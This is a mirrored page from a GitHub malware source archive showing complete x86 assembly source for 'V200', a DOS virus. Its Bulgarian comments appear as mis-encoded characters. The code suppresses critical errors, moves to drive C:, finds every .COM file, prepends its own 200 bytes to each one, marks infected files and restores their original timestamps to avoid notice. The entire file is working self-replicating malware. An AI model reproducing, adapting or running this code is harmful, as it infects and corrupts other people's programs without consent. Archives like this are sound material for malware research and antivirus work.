mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
178 lines
6.5 KiB
NASM
178 lines
6.5 KiB
NASM
;------------------------------------------------------------------------------;
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; ;
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; ‚¨°³± V200 ;
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; ;
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; V200 ¥ ¯ ° §¨²¥ ¢¨°³±, ¤¥©±²¢¨¥²® ¬³ ±¥ ±º±²®© ¢ ±«¥¤®²® - ¯°¨ ±² °²¨° ¥;
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; § ° §¥ ´ ©« ¢¨°³±º² ¯°¥²º°±¢ ¶¿« ² ²¥ª³¹ ¤¨°¥ª²®°¨¿ ¨ § ° §¿¢ ¢±¨·ª¨ ;
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; COM - ´ ©«®¢¥,¢ ±«³· ©,·¥ ¢ ±¨±²¥¬ ² ¨¬ ³±²°®©±²¢® C: ²¥§¨ ¤¥©±²¢¨¿ ±¥ ;
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; ¨§¯º«¿¢ ² ¢ ¥£®¢ ² ²¥ª³¹ ¤¨°¥ª²®°¨¿. ;
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; V200 ±¥ ±² ¿¢ ¯°¥¤¨ ª®¤ § ° §¥¨¿ ´ ©«, ¢¨°³±º² ®°£ ¨§¨° ;
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; ±®¡±²¢¥ ¯°®¶¥¤³° § ®¡° ¡®²ª ª°¨²¨·¨ £°¥¸ª¨ (¢¥ª²®° 24h) ¨ ¥ ¯°®¬¥¿;
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; ¤ ² ² ¨ · ± § °¿§ ¨²¥ ´ ©«®¢¥. ;
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; ;
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;------------------------------------------------------------------------------;
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.model Tiny
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.code
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VirLen = 200
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NewId = offset Mark - 100h
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;-----------------------------------------------------------------------------;
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ORG 0D0h
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INT24 dw ? ; ’³ª ¹¥ ¡º¤¥ ±®·¥ ¢¥ª²®° 24h.
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INT24a db ?
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NewDTA db 15h dup (?) ; ‘²°³ª²³° DTA.
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FAttr db ?
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FTime dw ?
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FDate dw ?
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FLen dw ?, ?
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FName db 0Dh dup (?)
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;-----------------------------------------------------------------------------;
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ORG 100h
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Start:
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push ax
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mov INT24,3B0h ; <20>®¢ ¢¥ª²®° 24h : mov al,03
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mov INT24a,0CFh ; iret
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mov ax,2524h
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mov dx,offset INT24
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int 21h ; <20>°¥ ±®·¢ ¢¥ª²®° 24h.
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mov ah,19h
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int 21h ; ˆ±ª ®² „Ž‘ ²¥ª³¹®²® ³±²°®©±²¢®.
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push ax ; ‡ ¯ §¢ ²¥ª³¹®²® ³±²°®©±²¢®.
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mov ah,0Eh
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mov dl,02h
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int 21h ; ‘¬¥¿ ²¥ª³¹®²® ³±²°®©±²¢® C:
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mov ax,cs
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add ah,10h
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mov es,ax ; ES = CS + 64KBytes
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mov si,offset Start
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xor di,di
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mov cx,VirLen ; <20>°¥µ¢º°«¿ ª®¤ ¢¨°³± 64KBytes
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rep movsb ; ¯®- £®°¥ ¢ ¯ ¬¥²² .
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mov dx,offset NewDTA ; <20>®±² ¢¿ DTA ®¢ ¤°¥±.
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mov ah,1Ah
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int 21h
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;...... ‡ ¯®·¢ ²º°±¥¥ ´ ©«®¢¥ § § ° §¿¢ ¥.
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mov dx, offset AllCom ; ’º°±¨ ¢±¨·ª¨ '*.COM' ´ ©«®¢¥.
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mov cl,110B
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mov ah,4Eh ; ˆ§¢¨ª¢ Find First.
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int 21h
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jc Done ; <20>°®¤º«¦ ¢ ² ²ºª ¯°¨ «¨¯±
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; ´ ©«®¢¥ § § ° §¿¢ ¥.
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FindNext:
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mov dx,offset Fname ; ‚ dx ¤°¥± ¨¬¥²® ´ ©« ®² DTA.
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mov ax,3D02h ; Ž²¢ °¿ ´ ©« § § ¯¨±/·¥²¥¥.
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int 21h
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mov bx,ax ; ‡ ¯ §¢ ®¬¥° ®²¢®°¥¨¿ ´ ©«.
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push ds ; ‡ ¯ §¢ DS.
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push es
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pop ds ; <20>°®·¨² ±¥ ¶¥«¨¿ ´ ©« ¤°¥± -DS:DX
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mov dx,VirLen ; DS = CS + 64KBytes
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mov cx,0FFFFh ; DX = ¤º«¦¨ ² ¢¨°³±
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mov ah,3Fh ; ’ ¬ ±¥ ¬¨° ¢¨°³± , ±¥£ ±«¥¤ ¥£®
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int 21h ; ¨ ´ ©«º².
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add ax,VirLen ; “¢¥«¨· ¢ ¤º«¦¨ ² ´ ©« (AX) ±
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mov si,ax ; ¤º«¦¨ ² ¢¨°³± ¨ ¿ § ¯ §¢ ¢ SI.
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cmp Word ptr ds:[NewId+VirLen],'TS' ; „ «¨ ´ ©«º² ¥ § ° §¥ ¢¥·¥ ?
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je Close
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xor cx,cx
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xor dx,dx
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mov ax,4200h ; <20>°¥¬¥±²¢ ±¥ ³ª § ²¥«¿ ´ ©« ¢
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int 21h ; · «®²® ¬³.
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mov cx,si
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mov ah,40h ; Ž² ¤°¥± DS:DX ±¥ § ¯¨±¢ ¤¨±ª
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int 21h ; ¢¨°³± + ´ ©«
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mov cx,cs:FTime
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mov dx,cs:FDate
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mov ax,5701h ; ‚º§±² ®¢¿¢ ² ±¥ ¤ ² ² ¨ ¢°¥¬¥²®
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int 21h ; § ° §¿¢ ¨¿ ´ ©« ®² DTA.
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Close:
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pop ds ; ‚º§±² ®¢¿¢ DS.
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mov ah,3Eh ; ‡ ²¢ °¿ ´ ©« .
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int 21h
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mov ah,4Fh
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int 21h ; ˆ§¢¨ª¢ Find Next,
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jnc FindNext ; ª® ¨¬ ®¹¥ ´ ©«®¢¥ ¢±¨·ª® ±¥ ¯®¢² °¿
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; ¨ § ²¿µ.
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Done:
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mov dx,80h
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mov ah,1Ah
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int 21h ; ‚º§±² ®¢¿¢ ±¥ ±² °¨¿ ¤°¥± DTA.
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pop dx
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mov ah,0Eh
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int 21h ; ‚º§±² ®¢¿¢ ±¥ ²¥ª³¹¨¿ § ¢ °¥ ¤¨±ª.
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;....... <20> · «® ±² °²¨° ¥ ¯°®£° ¬ ² ªº¬ ª®¿²® ¥ § ª ·¥ ¢¨°³± .
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mov si,offset TransF
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mov cx,offset EndCode - offset Transf
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xor di,di ; Š®¯¨° 64KBytes ¯®- £®°¥ ¥¤
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rep movsb ; ±¯®¬ £ ²¥« · ±², ¨§¯®«§¢ ¯®-¤®«³.
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pop bx ; ‚º§±² ®¢¿¢ ±º¤º°¦ ¨¥²® AX ¢ BX.
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push es
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push cx
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RETF ; Ž²¨¢ ¤°¥± ES:00
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;.......................................
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; Œ °ª¨°®¢ª § ° §¯®§ ¢ ¥ § ° §¥¨
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Mark DB 'STSV' ; ´ ©«®¢¥.
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AllCom db '*.COM',0 ; Œ ±ª § ²º°±¥¥ ¢±¨·ª¨ ´ ©«®¢¥
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;.......................................; § § ° §¿¢ ¥.
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TRansF:
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push ds
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pop es
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mov si,offset EndCode
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mov di,offset Start
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dec cx
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sub cx,si ; ‘¬ºª¢ ª®¤ ¯°®£° ¬ ² § ¯®·¢ ¹
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rep movsb ; ¥¯®±°¥¤±²¢¥® ±«¥¤ ¢¨°³± ± 100h ¡ ©²
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; ¤®«³.
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push ds
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mov ax,100h
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push ax
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mov ax,bx ; ‚º§±² ®¢¿¢ ±º¤º°¦ ¨¥²® AX.
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RETF ; <20>°¥¤ ¢ ³¯° ¢«¥¨¥²® ¯°®£° ¬ ²
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; ¤°¥± DS:100h.
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;-----------------------------------------------------------------------------;
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EndCode:
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int 20h ; Ž² ²³ª § ¯®·¢ § ° §¥ ² ¯°®£° ¬
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End Start
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